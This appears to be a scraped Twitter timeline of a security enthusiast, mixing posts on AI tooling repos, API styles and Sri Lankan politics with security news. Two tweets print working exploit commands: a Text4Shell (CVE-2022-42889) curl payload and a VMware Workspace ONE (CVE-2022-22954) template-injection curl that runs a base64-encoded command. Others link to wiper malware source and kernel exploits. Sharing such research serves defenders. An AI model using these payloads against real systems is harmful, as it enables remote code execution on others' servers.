Luffy D.

Beginner, Security enthusiast who loves playing CTFs.

[ZARA @HeyZaraKhan]

100 Claude Repos that will completely change your life:
(save this)

1. Terminal AI coding agent https://t.co/gkTwIb7T9s
2. Ready-to-use starter apps https://t.co/PtEclReNCv
3. Official agent skills https://t.co/1RZ7lpP3xB
4. Plugin marketplace https://t.co/GVeknTu56n
5. Full ecosystem https://t.co/HOkmGrvrvL
6. Master list https://t.co/BVrGRmcQdV
7. 1000+ plugins https://t.co/8lzXVbeps2
8. Huge skills library https://t.co/wnArbr7a7N
9. Curated skills https://t.co/apIhhs1UEG
10. Cross-platform skills https://t.co/7wcdPfFLSh
11. LLM pipelines https://t.co/iqzPWyUrXk
12. Agent workflows https://t.co/bXPebvjN4v
13. Multi-agent systems https://t.co/o6NGMPl9h7
14. Team-based agents https://t.co/Ay1jn8wFpZ
15. AI dev team https://t.co/IXZNK0ym7r
16. Code agents https://t.co/Uq0aHekO6Y
17. Auto PR fixes https://t.co/zbCEAnFHlD
18. AI coding assistant https://t.co/rAeiD6uphU
19. Code search https://t.co/gDIpT7KMs3
20. Agent standards https://t.co/S6YyQF6v8v
21. Productivity plugins https://t.co/xOowIKylVb
22. AI SDK https://t.co/eIYxaxaDLm
23. Memory layer https://t.co/mXiinRZafi
24. Voice agents https://t.co/mWSwV3YifX
25. Deploy agents https://t.co/NtTWJdcqx4
26. Web agents https://t.co/b8HiXRrI7G
27. Reasoning agents https://t.co/fMvI18BxYn
28. Long-term memory https://t.co/sJK9vrePQI
29. AI apps infra https://t.co/RYXlG8O4xD
30. API layer https://t.co/i7JfKyvYy1
31. Clean UI https://t.co/vqyN30JVso
32. Self-hosted UI https://t.co/mi8adckJBZ
33. Modern UI https://t.co/auzUkeggzf
34. Desktop app https://t.co/8yK33a3izg
35. Next.js clone https://t.co/9zpY0oN5Qv
36. Template https://t.co/2kkhJIIafG
37. Claude-ready UI https://t.co/yoaCZQco7W
38. Minimal UI https://t.co/dh9HOubWu8
39. Lightweight UI https://t.co/lr4f3N8CKv
40. Adaptable UI https://t.co/f6ekpq25Ik
👇

[Akshay 🚀 @akshay_pachaar]

I have tested 100+ MCP servers in the last 3 months!

Here are 6 must-use MCP servers for all developers (open-source):

[0b1d1 @_0b1d1]

Just bookmark 🔖 this

[Nelson Djalo | Amigoscode @AmigosCode]

6 API Architectural designs You Must Know

1. REST 🌐
  Representational State Transfer - REST is like a classic library where you request specific books and receive them as they are. It's simple and widely used for web APIs, like ordering a la carte from a menu 🍽️.

2. GraphQL 🚀
  GraphQL is like a customizable buffet 🍴 where you ask for exactly what you want and get a tailored plate. It allows clients to request only the data they need, reducing over-fetching.

3. SOAP 🧼
  SOAP (Simple Object Access Protocol) is like sending a letter 💌 with detailed instructions, complete with a table of contents. It's more structured but can be heavier than REST or GraphQL.

4. gRPC 🚄:
  gRPC is like a high-speed train 🚄 for communication between services. It uses Protocol Buffers for efficient data exchange and supports streaming and bidirectional communication.

5. WebSockets 🌐💬
  WebSockets are like real-time phone calls ☎️ for the web. They enable two-way communication, perfect for chat apps and live updates.

6. MQTT 📡
  MQTT (Message Queuing Telemetry Transport) is like a radio broadcast 📻, designed for low-bandwidth, high-latency, or unreliable networks. Ideal for IoT devices and sensor data.

▷ 👍🏿 Subscribe to our newsletter - https://t.co/hxARDoA98l

#systemdesign #coding #interviewtips

[Binni Shah @binitamshah]

Writing a simple wiper malware (Python): https://t.co/iLHjobND1k

Malware source code : https://t.co/SQkeXgBjv6

Self-Destructing Python Script : https://t.co/cDEHWvV6Tm

[BRute Logic @BRuteLogic]

Check all @KN0X55 amazing #XSS Cases!

Source-based, DOM-based and Hybrid (Hoisting), Parameters + URL Path, XML, Stored Blind and Cached, Error Triggering, Multi Reflection and Multi Context, CSP Bypass, Parameter Guessing and more.

https://t.co/LvpFK11M5W

[RIVER @wugeej]

Apache Text4Shell (CVE-2022-42889)

PoC
curl http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.get.Runtime%28%29.exec%28%5C%27%27%2E%74%72%69%6D%28%24%63%6D%64%29%2E%27%5C%27%29%7D

https://t.co/WdlwKBOBxZ
https://t.co/KXmFl2VAJf

[ThatMSG @ThatMSG]

Inspired by @pry0cc and @rebcesp and of course @osandamalith I've created a little web api, so it's even easier to get a list of obfuscated ips.

https://t.co/GPGOd5cM1x

[pasan @pasan_kalana]

How peaceful Sri Lanka is ? You can kick the president, PM out while Australian cricket team is playing a test match 100km away. 😅#SriLanka #GotaGoHome2022

[xchg justin,justin @justinsteven]

Gotta go fast! Amazon Linux "log4j hotpatch" was vulnerable to a race condition bug, allowing local privilege escalation to root on EC2 hosts running the openjdk or Corretto package.

https://t.co/hvhUu8ptfd

[blueblue @piedpiper1616]

GitHub - tr3ee/CVE-2022-23222: CVE-2022-23222: Linux Kernel eBPF Local Privilege Escalation - https://t.co/dI7nXeIjE3

[Luffy D. @1uffyD9]

@GotabayaR You think ur f*king tweet would solve everything? 😑😑 What the hell is wrong with you people? Why can't you just leave these innocent ppl alone?

[James Kettle @albinowax]

Manually testing for IDOR can get pretty tedious... so Backslash Powered Scanner will now recognise and flag iterable inputs!

If you're interested in the background and philosophy behind BPS, check out the presentation:
https://t.co/JrjhMeU73S

[wvu @wvuuuuuuuuuuuuu]

Exploit for VMware Workspace ONE Access CVE-2022-22954:

curl -kv https://192.168.0.240/catalog-portal/ui/oauth/verify -H "Host: lol" -Gd error= --data-urlencode 'deviceUdid=${"freemarker.template.utility.Execute"?new()("bash -c {eval,$({echo,aWQ7dW5hbWUgLWE=}|{base64,-d})}")}'

[GeoSn0w @FCE365]

iOS 14.7 - 15.1.1 JAILBREAK News: New Kernel Exploit With R/W RELEASED Open Source + Newer Techniques

🚨 VIDEO: https://t.co/WgwNrNgfv3

This exploit can also be used to update #Unc0ver #jailbreak to support iOS 14.7 - 14.8 on the devices that were left out.

[reverseame @reverseame]

CVE-2022-27666: Exploit esp6 modules in Linux kernel https://t.co/y1Gj6t5xHG

[NGINX @nginx]

Addressing Security Weaknesses in the #NGINX LDAP Reference Implementation https://t.co/LWk0DV7VLa

[An0malous @An0maIous]

In case anyone else is working blue team efforts on this. Here are some helpful things to know while tackling identification, remediation and monitoring. (1/?)
#InfoSec #Log4j #Log4Shell

[Luffy D. @1uffyD9]

https://t.co/6ZOUHaXMKd

[GreyNoise @GreyNoiseIO]

New link with updated C2/Callback domains: https://t.co/dFL2nNk3JW